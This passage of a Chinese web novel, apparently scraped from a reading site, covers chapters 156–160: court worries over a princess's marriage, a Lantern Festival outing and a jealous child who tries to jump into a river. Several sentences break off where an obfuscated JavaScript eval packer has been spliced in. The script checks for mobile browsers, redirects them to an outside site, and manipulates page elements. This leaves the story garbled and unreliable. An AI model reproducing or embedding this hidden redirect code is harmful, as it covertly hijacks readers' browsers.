我那么努力都没吃到铜钱饺子,怎么那么巧就让她吃到了,这肯定有内幕!” 苏苡安还在为错失那个铜钱饺子而难过,本来,她想要一块免死金牌来着…… 萧北铭摇摇头,目光沉沉,语气肯定, “不会,子壮而父未老,父皇现在最忌惮的应该是太子。 一朝天子一朝臣,父皇有他的老臣,而太子经营东宫二十余年,有他的新臣等待上位。 因此,父皇才肯放兵权给我,支持我和东宫抗衡,给东宫一个争斗的对象。 父皇不会在太子势力正大的时候,砍我的臂膀。” “这样啊。” 苏苡安点点头,又说,“要不然,我哪天去见见小九儿,打听一下是谁在背后威胁她?” 萧北铭立即否决,“不行,咱们想行动,也得等到大婚之后,我可不想再出任何差头了。” 乌二也宽慰道, “王爷,皇上现在没下圣旨,也没给定婚期,九公主还小着呢,这事情,说不定还有转圜的余地。 最不济,可以拖上三年五载的,你不用急,我回家跟我爹娘想想办法。” 萧北铭叹了一口气, “你回家安抚好辅国将军吧,别让他脑子一热就去找父皇闹,不指着他们想什么办法,别添乱就好。” “是,王爷放心,我这就回去。” 乌二一转身,刚刚还平直的眉毛就蹙起来了: 这叫什么事儿啊,早知今日,还不如随便找个姑娘娶了呢,这下好了,我这辈子就要完了…… 乌二出门,走到窗户底下,把偷听的萧晏抱起来,走出去好远,才说, “这几日,离你父王远些,他心情不好,免得拿你撒气。 还有,偷听这种事,以后不要干了。 他们两个都是练武之人,异常的敏锐,早就发现你了。” 萧晏嘿嘿一笑,“你为何不愿意娶九姑姑?” 乌二愁道, “和公主成婚,不叫娶,叫尚,相当于让我做上门女婿,还是断送前途的那种,我若是和公主成婚,就得离开镇北军了,我的前途没了。” 萧晏闻言,登时就哭了, “二叔叔,我不要你离开镇北军,呜呜呜……” 乌二也无比动容,“我不会离开的,办法总会有的,你别哭,哭解决不了问题。” 萧晏哽咽道,“不,我娘说,哭能解决很多问题,尤其是美男子哭的时候,要不然,我去找皇爷爷哭一顿,给你求情吧?” 乌二很是无奈, “郡主教你的东西,你也不能全然相信啊。 就她的癖好独特,喜欢看美男子哭而已,除了她,谁喜欢看男人哭啊? 男儿有泪不轻弹,你是镇北王的儿子,更不能轻易掉眼泪。 尤其是皇上,他是武将出身,讲究流血不流泪,你更不能在他的面前哭鼻子,会被看不起的。” “可是,听你的前途要没了,我真的好难过,这里可疼了。” 萧晏小手摁到了自己心房的位置,小嘴一撇,落下两行泪珠子,双臂环住了乌二的脖颈,呜呜咽咽地哭开了, “我娘说,前途是男人最重要的东西,你最重要的东西要没了,我的心好疼啊,嘤嘤嘤……” 这下,乌二的眼泪绷不住了,刚刚教育完孩子不能哭,他自己倒是哭上了。 战场上,断手断脚都不流泪的硬汉子,真受不了这小家伙的亲情刀。 他真没白白养大这个孩子啊。 乌二把萧晏送回他的院子,又好生宽慰了许久,才返回辅国将军府。 乌二把这事情一说,他爹他娘他妹,都炸了。 他爹喊着要去跟皇上说道说道,他娘嚷着要去跟贤妃说道说道,他妹吵着要去跟九公主说道说道。 乌二不得不同时给三个炮仗灭火。 他无比庆幸是在半夜说的这件事,若是白天,他一个人是无法摁住他们三个炮仗的。 本来最应该原地**的人,反而因为周围的人都是炮仗,他炸不起来了。 终于,一家人安静下来了,一阵久违的沉默震耳欲聋。 乌三突然开口,“哥,我突然想到一个好主意。” 乌二,“说。” 乌三,“我觉得,镇南大将军的儿子和九公主年纪相仿,相貌也登对,要不然,我求他去勾引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就算乌二做了驸马,父皇也不会撤他的军职?” 第156章 我擅长快速脱去美男子衣衫 一语惊醒梦中人! 萧北铭深眸一亮,豁然开朗, “我觉得,你分析得甚是有理! 我们都被那不成文的规矩框住了。 可是,父皇是天子,他想破例,就是一句话的事情。 父皇真的很好,他很疼爱我们这些孩子的,他会成全咱们,也会成全小九儿,也不会毁了乌二。” 萧北铭烦躁的心绪稍安,这个节骨眼,一堆人盼着他慌乱出错,他千万得稳住,以不变应万变才是上上策! 苏苡安见他愁眉舒展,心中也轻松了不少, “嗯,肯定是这样的,你别犯愁了,天都要亮了,睡吧。 只要不死生死,其余的都是擦伤,人生没什么过不去的坎儿。” “嗯。” 萧北铭把她往怀里锢了锢,又问道, “你刚刚吃饺子那么卖力,是有什么愿望?” “我想找父皇要一块免死金牌。” 啊……这…… 确实是个好东西,值得她卖力气吃饺子,他也确实给不了,深感无力…… 萧北铭深呼一口气, “我都不知道,你还会弹琴,你究竟还隐藏了多少本事?” 苏苡安搂住了他精窄的腰身,阖上了双眸,往他的颈窝一钻,语气慵懒道, “我还会画画,哪天给你画一个,现在,我要睡觉了。” “除了琴棋书画,还有吗?” “我还会吹牛,且功力深厚,多厚的牛皮我都能吹上天,走到哪里,公牛母牛都能吹死一片。” 她可是一个S级特工,怎么会把自己的技能都拿出来示人呢? 她永远都不会毫无保留地展示自己,永远都会给自己留退路。 这是她的职业素养,也是求生本能。 萧北铭还想再跟她聊一会儿,可是,看她又开始没正形了,也问不出啥了。 更何况,她本就身体不好,又陪着自己熬了一夜,也是该休息了。 “睡吧。” 萧北铭垂眸吻了她的发顶,也闭上了眼睛。 心中有了底,可以稍稍睡个安稳觉了。 等睡醒,再慢慢想拖延乌二婚期的办法。 再熬两个月,等他们大婚,他就没那么多瞻前顾后了…… 萧北铭只小憩了一个时辰,天一亮,就自觉起床,去教小家伙武功。 即便是大年初一,也不能懈怠。 乌二在辅国将军府收到了镇北王传来的消息,让他以此为由,安抚好辅国将军和夫人,什么都不要做,不要添乱。 乌二也深以为然: 皇上没来由地要削减镇北王的势力,不太可能。 皇上正值壮年,身体还那么好,本就没到要放权给太子的时候,没了镇北王这个牵制,太子不就要太得意了吗? 乌三立即去告诉了他爹娘。 乌壮壮和夫人都是头脑很简单的人,都不会转弯,镇北王说什么他们就深信不疑什么,躁郁了一夜的情绪,立即得到了安抚。 只要不影响儿子的前程,尚公主就尚公主,只要能给乌家生儿育女,谁做儿媳妇,他们都没意见。 乌二也没过多解释,只是嘱咐他爹娘,这事情,先不要告诉乌三。 他要趁此机会,好好给老幺立立规矩。 乌壮壮和夫人都举双手双脚赞成。 儿子总算能腾出时间管一管家里的事了,他们求之不得,表明会全力配合。 毕竟,他家老幺再不管管,就要上天了,带着全家一起上天! 乌二去到了乌三的院子里,乌三精气神挺足,没有睡觉,而是在走梅花桩。 乌二招手示意她下来, “老幺,进屋,我有话要跟你说。” 乌三跳下了梅花桩,跟着乌二身后进屋,还在为自己辩驳, “哥,我不是不关心你,这不是练武缓缓脑子吗?等一会儿,我脑子好用了,继续为你想办法。” 乌二做出一脸愁容, “圣意已决,没有回旋的余地了,我也想通了,我以后不能做大将军了,这不是还有你呢吗? 巾帼不让须眉,你做个女将军,也照样光耀门楣。” 乌二说到这里,眉头舒展,又露出了笑容,满眼欣赏地看着自己的妹妹。 乌三简直受宠若惊,“哥,你真的觉得我能做女将军?” 乌二微笑,“有什么不能的?你现在已经是镇北军的十夫长了,等你立下了战功,就可以做百夫长,千夫长,最后做女将军。” 乌三激动点头,“嗯嗯!我会立战功的,绝对不会让辅国将军府蒙羞,以后,这个家就由我撑着了。” 乌二看她这副志得意满的样子,腹诽道: 好嘛,这小妮子,看来,她盼望顶替我很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以后,我要成为一个像兄长这样能文能武之人,才能代替他担起家国大任! 第157章 你真的要从新做人了啊? 乌三真真是乌二被拿捏住了,整日宅在自己院子里,大过年的也没出门走亲访友,而是认真地学认字,练习写字,背诵军规。 以至于,裴思远再次夜访的时候,看到她在秉烛夜读,桌子上摆着好多书,还有好厚一叠纸,上面写满歪歪扭扭的字迹。 这一幕,真真是吓得裴思远眼珠子都要瞪出来了,舌头也打结了, “你,你,你真的改过自新了?” 乌三的目光,还在书上,头也没抬, “要不然呢?我哥的一百个响头可不能白磕。” 裴思远张大了嘴,惊讶得半天合不拢。 乌三抬头看他, “你别站那么远啊,过来,我问你,这个字念什么?” 裴思远走过去,看了一眼,差点没气过去, “裴啊!裴思远的裴啊!你连我的名字都不认识?” 乌三白了他一眼, “**嘛要认识你的名字?我那些兄弟跟我从小一起长大,我连他们的名字都不认得,更遑论你这个后来的。” 裴思远满眼嫌弃, “你赖好都是辅国将军府的嫡女,你爹娘是怎么纵容你连字都不认识的?” 乌三脖颈一扬,声音很大, “谁不认识字啊!我只是认字不多而已!我全家人的名字,我都认识,不仅认识,还会写呢!” 裴思远嘴角一抽, “你会写全家的名字,这不是一件寻常得不能再寻常的事情了,也值得拿出来说吗……” 乌三一脸自豪, “有何不能?天底下,不认识字的人多了去了,我已经超过九成的人了,为何不值得拿出来说?” 裴思远呵呵一笑,讥诮道, “我真是佩服你从骨子里散发的这种自信,我要是有你一半自信,现在也是镇南军的副将了。” “啧啧。” 乌三满眼嘲讽,上下扫视了裴思远,面带鄙夷, “你才几岁啊,**长齐了吗?就肖想做镇南军的副将了?” 裴思远浑身一滞, “我再不济,也比某人强啊,白白比我多吃三年饭,连字都认不全。” 这下,轮到乌三懵然了, “啊?这世上那么多字呢,真的会有人都认全吗?” 裴思远咋舌, “你小时候到底请没请过先生?什么样的经历才让你没羞没臊地问出这种话的啊?” “呵呵。” 乌三笑笑,好似不以为耻,反以为荣, “请了,我爹给我请了五六十个先生,都没超过三天就被我气走了。 以至于,我也没怎么好好读过书,不认得几个字。 不过,本姑娘好学,十年不晚。” 裴思远还是特别难以置信, “你真的要从新做人了啊?” “那当然!” 乌三现在,已经下定了天大的决心,要从女纨绔蜕变成女将军。 她拿起桌子上厚厚一摞书法展示给裴思远看, “你瞧,我从大年初一到现在,每天从辰时写字到亥时,除了吃饭睡觉,都在写字。 好饭不怕晚,我一定会成为上京城的第一才女的。” “呵呵,呵呵。” 裴思远看着她的狗爬字,尬笑了两声,实在没忍心打击她,从她粗犷的字迹就能看出来,读书这种事,她真的是毫无天分,只是不咸不淡地说了一句: “祝你成功吧。” 乌三坦然一笑, “谢谢,你可以走了,以后,就不要来了,免得成为我变成上京第一才女路上的绊脚石。” 彼时,乌三有点担心,这家伙下次再找来,她已经去北疆从军了。 那她不就暴露了吗? 以后就不能一鸣惊人,给上京城带来一个巨大的震撼了。 裴思远不明就里,听了这赶人的话,心中陡然一凉。 曾经,她对他说过无数可恶的话,可是,没有哪一句,像今日这句一样,让他心里不舒服。 但是,人家的理由很正当,他只能十分好面子地说, “你以为我稀罕来啊!走了,再也不见!” 裴思远扭头就走,觉得心头如压巨石,难受得很。 本来,今日是上元佳节,他是来请她一起去看灯会的。 可是,话赶话,怎么就变成诀别了? 这不是他来这里的目的啊。 裴思远咬咬后槽牙,想想她是那么没皮没脸,没羞没臊的一个人,自己跟她装什么君子? 遂又驻足回眸, “诶?今日是上元灯会,可热闹了,你要不要去看看?” 裴思远看着她伏案端坐的身姿,期待着她的肯定答复。 乌三头都没抬,冷冷吐声, “不去,我要读书写字,成为上京城第一才女,才不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四个人没走几步,又遇见了熟人,十分熟的人,但是,有许久许久未见了。 苏苡安很热情地打招呼, “好久不见啊,前夫哥。” 第158章 你就抱她吧,以后就不要抱我了! 萧楚钰正抱着他的女儿逛灯会。 穿着很低调,看不出来是个天潢贵胄,只像是个寻常有钱人家的公子,且身边只带了刘管家一个下人。 萧楚钰虽然没看出苏苡安身边抱孩子的狗头面具男人是谁,但是,一眼就看出了穿白衣的狐狸面具男是萧北铭。 他吓得浑身一抖,往后**了两步,一脸惶恐地看向苏苡安, “别,别那么叫,叫我名字就行。” 苏苡安又马上改口,“好久不见啊,楚钰。” 萧楚钰又是一抖,草率了!这两个字好像更不妥! 他真担心下一刻,萧北铭就要抬脚踹他,他那么大的脚,一脚就能把他踹断气了。 又赶忙说, “别,别叫我名字,你还是随着我二……”他看看周围的人群,“随着我二哥,叫我老三就好。” 苏苡安笑道,“老三,好久不见。” 萧楚钰惴惴不安地瞥向萧北铭,见他没有跳过来揍他的趋势,才勉力宁定了心神,跟她寒暄了一句, “是好久不见了。” 苏苡安笑道, “过年吃团圆饭都不见你,还以为你生病了,正准备哪日去瞧瞧你,现在,看你还能逛灯会,我就安心了。” 萧楚钰又瞅了萧北铭一眼,内心抱怨不跌: 姑奶奶哦,谁要听你说这些话啊!我为何不去除夕宴,你心里没点数吗? 我躲你还来不及,你还要去我的府上?跟我有多大的仇啊,要当着这煞神的面跟我说这个…… 我今日出门特意看了黄历,怎么还能遇见他们啊…… 谁来救救我啊,真是要**了…… 苏苡安完全没任何心理负担,还在寒暄, “这是你女儿吧,肉嘟嘟的,眼睛还这么大,长得真好看诶,叫什么名字?” 萧楚钰紧张地瞄着萧北铭,见他依然没有爆发怒火的趋势,才回了一句, “乐颜。” 苏苡安从裴思远的怀里抱过来萧晏, “晏儿,这是你三叔和妹妹,打个招呼。” 萧晏很有礼貌地说,“三叔好,妹妹好,晏儿给三叔叔拜个晚年。” “哎呦,过年好。”萧楚钰又看向刘管家。 刘管家连忙从怀中掏出了一百两银子,双手奉上。 萧楚钰拿过银票,递给萧晏,强行挤出一抹笑, “晏儿,这是三叔给你的压岁钱,没有准备,没有包红包,你别嫌弃哈。” 萧晏双手接过来, “谢谢三叔。” 苏苡安变戏法似地从袖子里拿出一个红包,递给了乐颜, “给我侄女的压岁钱。” 小乐颜正是爱抓东西的年纪,小手很自然地就抓过了红包。 萧楚钰低头,父爱意味很浓地看向怀中的闺女, “跟姑姑说谢谢。” 小乐颜还不会说话,但是她会表达感谢。 她张嘴笑了笑,一双小小的手团成了拳,合在一起做抱拳状,上下晃动致谢,奶萌奶萌的,很是可人。 苏苡安眼睛一亮,顿时来了兴趣, “哇哦,好神奇啊,这么小的奶团子就听得懂话了,我能抱抱她吗?” “自然可以。” 苏苡安把怀里的萧晏,又塞回了裴思远的怀里,接过了乐颜。 乐颜真真是个爱笑的,也不认生,小手还捧着她的兔子面具玩,咯咯咯地笑了起来,还顺势送出一个小脸贴贴。 奶香扑鼻而来,苏苡安有些受宠若惊, “哇哦,她好可爱啊,我也想要一个这样的女儿。” 萧晏瞬间破大防了,带着哭腔声嘶力竭地吼道, “她话都不会说,哪里可爱了!你就抱她吧,以后就不要抱我了!” 萧晏说着话,把手里的一百两银票扔到了地上,硬是从裴思远的怀里挣脱下来,转身拔腿就跑。 一眨眼,小小的身躯就消失在了人群之中。 “唉!晏儿!人多,别跑丢了!”裴思远赶紧追了上去。 苏苡安怎么都没想到,一向乖巧懂事的晏儿,还会吃这种飞醋。 她连忙把乐颜还给了萧楚钰,去追萧晏。 萧楚钰又战战兢兢地看向萧北铭,他带着面具,看不到表情,只觉得他一双乌沉沉的眸子,晦暗不明,看起来,十分瘆人。 萧楚钰吓得浑身战栗,舌头打结, “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422903|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二,二,二哥哥,我不知道你们在这里,早知道你们来这里,我就不来了。” “无妨,灯会谁都可以来。”萧北铭心平气和地说了这句话,转身就迈大步追苏苡安去了。 萧楚钰的神情更加惊骇: 他怎么没发火? 这也不像他的一贯作风啊! 完了,他肯定是看现在人多眼杂,在跟我装大度,准备以后跟我连本带利的算账。 思及此,萧楚钰抱紧了孩子,转身往和他们相反的方向跑, “快快快!刘管家,咱快些回府,以后可不能出来了!” 苏苡安穿过人群,追到萧晏的时候,他已经跑到了河边,脚下没停,头也没回,纵身就往河里跳! 苏苡安吓得瞳孔地震: 刚开化的河水,多凉啊,这跳下去,可有他的好果子吃了! 还好她眼疾手快,功夫了得,一把薅着他的后衣领,就把人拽了回来。 苏苡安很是恼火: 早怎么没发现,这小东西是个混球子呢! 他这是争的哪门子宠啊? 还特么敢用跳河来威胁老子! 你这是威胁我吗?你是祸害你自己呢! 你爹本来就不喜欢你,再看你今日的所作所为,定会觉得你将来容不下你的弟弟妹妹,他岂能容下你? 今日这一跳,无异于让他从hard模式直接变成了地狱模式,也让她这几个月的努力付诸东流了。 苏苡安顿觉好扎心啊,今日,不收拾他一顿,是不行了,索性把人往腋下一夹,转身对后面的萧北铭说, “你别跟着了,我要找个地方打孩子。” 萧北铭的声音甚是冷漠, “我来打。” 苏苡安毅然决然道, “不,我怕你把他打**,还是我来,我下手有轻重。” 裴思远不明就里,但是,他知道后娘不好做,打轻了打重了,都会遭孩子记恨。 而且,这是镇北王和心爱之人生的儿子,姊姊和这孩子的关系闹僵了,以后她在镇北王府的日子就不好过了。 便自告奋勇地道, “姊姊,我来帮你打吧?我很会打小孩的。” 第159章 绝对不允许任何人来跟他抢娘亲! 苏苡安冷眼看向裴思远,觉得他说这种话,实在太中二了。 裴思远连下解释, “从前在南疆的时候,我妹捅马蜂窝,害得全府被蛰,就被我打过,后来老实了好一阵呢。 你把晏儿给我吧,我肯定给你打得明明白白的,让他再也不敢跳河了。” 苏苡安没回话,直接从他们两个身边走过去,才掷地有声说了一句: “别跟着!” 苏苡安就近,把萧晏拎上了河边的茶楼。 进了雅间,先给自己灌了两杯茶,灭灭心火,顺顺气。 今夜,可真真要被这小东西气**。 不过,好在她这个人比较擅长隐藏自己的情绪,表面看起来,也没啥怒气。 萧晏就站在桌边,定定地看着她喝茶,满面委屈,眼泪一直在眼眶里打转。 苏苡安内心默默地问候了一下他大爷: 你自己作死,你还委屈上了? 别以为你哭了,我就不收拾你了。 可是,看他哭得梨花带雨的,实在太我见犹怜了,让她的心都要化了。 苏苡安又给自己灌了一杯茶,又马上和自己和解了: 罢了,他没有爹娘教嘛,就一个单亲的孤儿,还没到五岁呢,我不能对他要求太高。 这些日子,是我没把他教好,我要对今日之事负主责。 过去,没发现他是个小炮仗呢,是我眼盲心瞎啊! 苏苡安稳定好了自己的情绪,才开口, “说说吧,方才为何要那样?” 萧晏两行泪珠子滚落, “你干嘛要抱三叔的女儿?你不能喜欢别人家的孩子,你只能喜欢我。” 他这么小的人人,哪里来这么大的嫉妒心和占有欲啊? 苏苡安对此甚是无语, “我没有喜欢那个小孩啊,实话跟你说,我从前在楚王府,和那小孩的娘亲还有很多过节呢,我怎么会喜欢她? 不过,大人的世界嘛,不管私下如何,大庭广众的,总要做个表面功夫,做人留一线日后好相见嘛。 我对天发誓,我只喜欢你一个小孩,别人都入不了我的眼。” 萧晏哭得一抽一抽的, “你骗人,你和我父王就要有自己的孩子了,等你把肚子里的孩子生出来,你就不喜欢我了,嘤嘤嘤……” 苏苡安瞠目结舌, “谁跟你说的我怀孕了?乱嚼什么舌根!没有的事!” 萧晏泪珠子哗哗掉, “我看见丁香在做小衣裳,她说是给你以后的孩子准备的,你刚刚还说你想有个女儿……” 苏苡安真真是恼火: 丁香那个家伙,她也太心急了,做哪门子小衣裳啊!真是给我添乱啊! “方才我只是随口说说而已,目的是恭维你三叔的女儿长得好看,你是想多了。” 萧晏抽泣道,“你成了亲,早晚会生小孩吧?” 苏苡安不想跟他说实话: 她还没有伟大到为了养别人的儿子,自己不生亲子的地步,她又不是圣母玛利亚! 可是,实话太伤人了,索性,最近几年,她也没有生育打算,就自然而然地开启了忽悠**,想尽快安抚好他, “我不会生小孩的,我头发分叉嘛,生不了的。 只能把你当亲生的养,将来,还指望你长大孝顺我,给我养老送终呢。” 萧晏是了解她的为人的,说谎跟吃饭一样寻常。 他抹了抹眼泪,郑重道, “就算你这话是骗我的,也不打紧。 有朝一日,你若想亲自生一个小孩,那我就**,再重新投胎到你的肚子里。” 苏苡安面色一怔,心中一凛,眼眶一酸,内心直呼夭寿的。 想不到,我也有今日,竟然被一个小娃娃威胁住了。 真特么造孽啊! 我一定是上辈子欠了这小东西的,这辈子才来还债。 苏苡安又给自己灌了一杯茶,告诉自己要冷静。 他现在只是童言无忌,等再过几年,他大一些,就不会说这样的混账话无理取闹了。 现下,还是得哄着他,免得他做出什么过激的事情,让她悔恨终身, “你安心,不要胡思乱想,我真的生不出小孩。 就算我亲自生,都生不出来像你这样让我满意的小孩。 以后啊,我把我会的本事,都传给你,从明儿开始,你就跟我学医。” “嗯!”萧晏使劲点了一下头。 苏苡安如意算盘打得好,学医可比练武苦多了,到时候,一屋子医书背到吐,我看他还想不想做我的儿子。 萧晏又满怀期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422904|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问,“那我能不能叫你娘亲?” 苏苡安心中咯噔一下,‘娘亲’这两个字太重了,她可承受不起,也没兴趣做别人的后娘。 养孩子这种事情,她不过是一时兴起,没准哪天,她就撂挑子不干了呢…… “小东西,你别太过分了哈,你把我当娘就算了,怎么还能叫我娘亲? 你让那个十月怀胎把你生下来的真正娘亲情何以堪? 俗话说,做人留一线日后好相见。 我若是把抢儿子这件事做得太绝,百年以后我和你娘亲地府相见,她定是会把我撕碎了。 你别看我现在挺厉害的,可是,到了地府,我是新鬼,你娘亲是老鬼,我可打不过她。 你也不想看我被打吧?我很怕疼诶!” 萧晏瘪嘴,“可是,你没有跟她抢儿子啊,明明是我主动选了你做我的娘亲。” 苏苡安直摇头, “不行,不行,我什么都可以答应你,这种原则性的问题,绝对不行,你不能叫我娘亲。” 萧晏泪眼婆娑地看着她,泪珠子好像断了线的珍珠,扑簌簌地顺着脸颊往下滚。 无声的哭泣最要命,苏苡安看着好揪心, “唉,我说,你别哭了,见好就收,差不多得了。 实不相瞒,我的接受力真的已经到底线了,现在就算你哭出花来,我都不会再让步了。 不是教过你,做人不能太贪得无厌吗?不受教了是不是?” 萧晏抬起小手开始擦眼泪,哽咽道, “我受教……” 苏苡安掏出手绢,招招手,揽小家伙入怀,给他擦眼泪,语重心长道, “晏儿,你今日做错了,以后,有话要好好说,不能这么冲动。 尤其是在公开场合,无论做人还是做事,一定要体面,不能让别人看笑话。” “晏儿知错……” 萧晏糯糯地说着,心里却悄悄地接了一句: 但是无悔! 他若是不采取点手段,等她生了自己的孩子,就晚了。 他可以没有爹疼,毕竟,没爹疼的日子,他是过惯了的。 但是,他不能没有娘爱,要不然,活着还是**,没有什么差别。 既然如此,何不用命一搏? 绝对不允许任何人来跟他抢娘亲! 第160章 你是在质疑我选男人的眼光吗? 苏苡安双手捧起了萧晏的小脸蛋,直视着他的双眼,认真地道, “晏儿,你听着,男人都有一个多子多福的愿望。 什么我只能喜欢你一个孩子这类的话,以后可不能再说了。 否则,你爹要发飙,我也救不了你。” 萧晏憋着眼泪,点了一下头, “嗯,我知道了。” 苏苡安把他抱起来,坐在了自己身边的椅子上, “吃点糕点,喝杯茶,调整一下情绪,咱们去找你爹。 问,就是打过了,你知错了,以后会疼爱弟妹,兄友弟恭,再也不敢造次了。” “嗯……” 萧晏拿不准娘亲哪句话是真的,哪句话是假的,实在没心情吃喝,只是小口小口地吃了半块糕点,抿了两口茶, “我调整好了,咱们走吧,我怕父王等急了会发火。” 苏苡安微微一笑, “算你还有点聪明,你父王那么大的炮仗,我都得小心翼翼地哄着,你还触他逆鳞。 以后,做什么事之前,一定要好好想想,别一不小心,给自己作**。” “是……” 两**手拉小手,齐齐下楼梯,遇见了正在往楼上走的雪重楼。 雪重楼第一次见脸好以后的护国公主,如此无遮无挡的真面貌示人,只一眼,就被惊艳到了。 虽然容颜有改,但是,他还是一眼就认出了她,她比从前更美了。 雪重楼退到一侧,微笑点头,给他们两个让路。 苏苡安冲他微微一笑,走了过去。 雪重楼心中咯噔一下,忍不住驻足回眸看: 原来,会笑的护国公主,如此夺目耀眼。 从前,他只听说,护国公主是个十分严肃的人,从来都不苟言笑的…… 萧晏见状问,“你们认识?” “不,不认识。” 苏苡安可不想让任何人知道她逛过青楼,尤其是孩子,一定要给他树立一个正面形象。 萧晏半信半疑,“那你们怎么都笑了?” 苏苡安十分坦然道,“人家给你让路呢,微笑是基本礼貌。” 萧晏有点小自豪在脸上, “我记得他,是咱们在三清观遇见的那个簪花郎,那日,他也是穿着红衣,美姿容,善言笑,人群里一眼就能看到他了,过后也忘不掉。” 苏苡安装腔作势道, “哦,你这么一说,我也想起来了,还真是他哈。” 两个人一说着话,就来到了茶楼的一楼。 萧北铭和裴思远坐在靠近门口的位置,正在等他们。 萧晏率先开口, “爹爹,我知错了,保证没有下次了。” 萧北铭还没说什么,裴思远先笑嘻嘻地开口了, “姊姊,真没想到,你挺会教育孩子的哈,等以后,我有了孩子,也给你带。” 萧晏闻言,又险些破防,可到底还是忍住了,只是牵着娘亲的小手,禁不住加重了力道。 苏苡安腹诽了一句,哪壶不开提哪壶,而后,勾唇一笑,幽幽来一句, “滚~蛋~” 裴思远被骂了也不生气,依然笑嘻嘻的,出门,还给萧晏买了一个虎头灯笼, “晏儿,我姊姊打你,可都是为了你好,你长大就知道了,千万不要记恨她,知道吗?” 萧晏没接灯笼,而是说, “小舅舅,能把虎头灯换成兔子灯吗?美女大人喜欢小兔子。” 裴思远甚是欣慰,小家伙没记恨姊姊就好,笑道, “不用换,这个是送给你的,我再买一个小兔子的灯笼送给姊姊就是了。” 裴思远转头,又从一堆灯笼里找到了一盏兔子灯。 同时,萧北铭已经拿出了零钱给摊主。 裴思远见状,又马上拿下了一个狗头的灯笼,嬉皮笑脸道, “姐夫,你也送我一个灯呗?我属狗的,就稀罕狗。” 萧北铭什么也没说,只是一味地付钱。 裴思远一点也没跟他客气,见到小狗灯笼,就要买,不一会儿功夫,就买了十几个各式各样的狗头灯笼。 最后,双手的灯笼都拿不下了,看见了卖糖人的,还要买来吃。 就毫不客气地把一半灯笼塞到了他姐夫的手里,他好腾出一只手吃糖人。 苏苡安默默地替他担忧: 他到底是精还是傻?就没看出来他姐夫早就不高兴了吗?还使唤人家一个王爷做小厮的活儿…… 果然,下一刻,忍无可忍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422905|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧北铭就把他手里的那些狗头灯笼往路地上一扔,怒道一声, “回府!” 而后,转身甩袖迈大步离开。 苏苡安无语地看了裴思远一眼, “你这几日别去我府上了,避避风头。” 而后,抱起萧晏,快步跟上, “阿禛,别走那么快,等等我啊。” 萧晏趴在苏苡安的肩膀上,微笑着冲裴思远挥手道别。 裴思远也跟小家伙挥手送别: 晏儿,小舅舅只能帮你到这里了。 有我这么一个没眼色的大孩子做对比,你父王会觉得你已经算是懂事的小宝宝了。 萧北铭一直窝着一股火,回到了安康郡主府,才发作。 暴躁得就像一头发狂的雄狮, “那小东西不能留了,血脉肮脏,天生就是个坏种! 明日,就开一处宅子,让他搬出去住。 否则,将来他会祸害咱们的孩子,做出可怕的事情来!” 苏苡安二话不说,踮脚揽颈,以吻封缄。 良久之后,感觉他的怒火下去了,才松开他,笑盈盈地说, “你是在质疑我选男人的眼光吗?可是,我觉得我选的大宝和小宝都很好啊,我都很喜欢。” 萧北铭蹙眉,面色尽显担忧, “那小东西,从血脉上讲,骨子里就是个坏种,是教化不好的,你若执意把他留在身边,他将来会伤害到咱们的孩子。” 苏苡安拥抱着他,把脸埋在他的胸膛,给他顺着后背,温声细气地说, “咱们的孩子还没个影呢,你不用这么紧张。 现在,父皇很喜欢晏儿,他马上就要进宫读书了,父皇一定会很关注他。 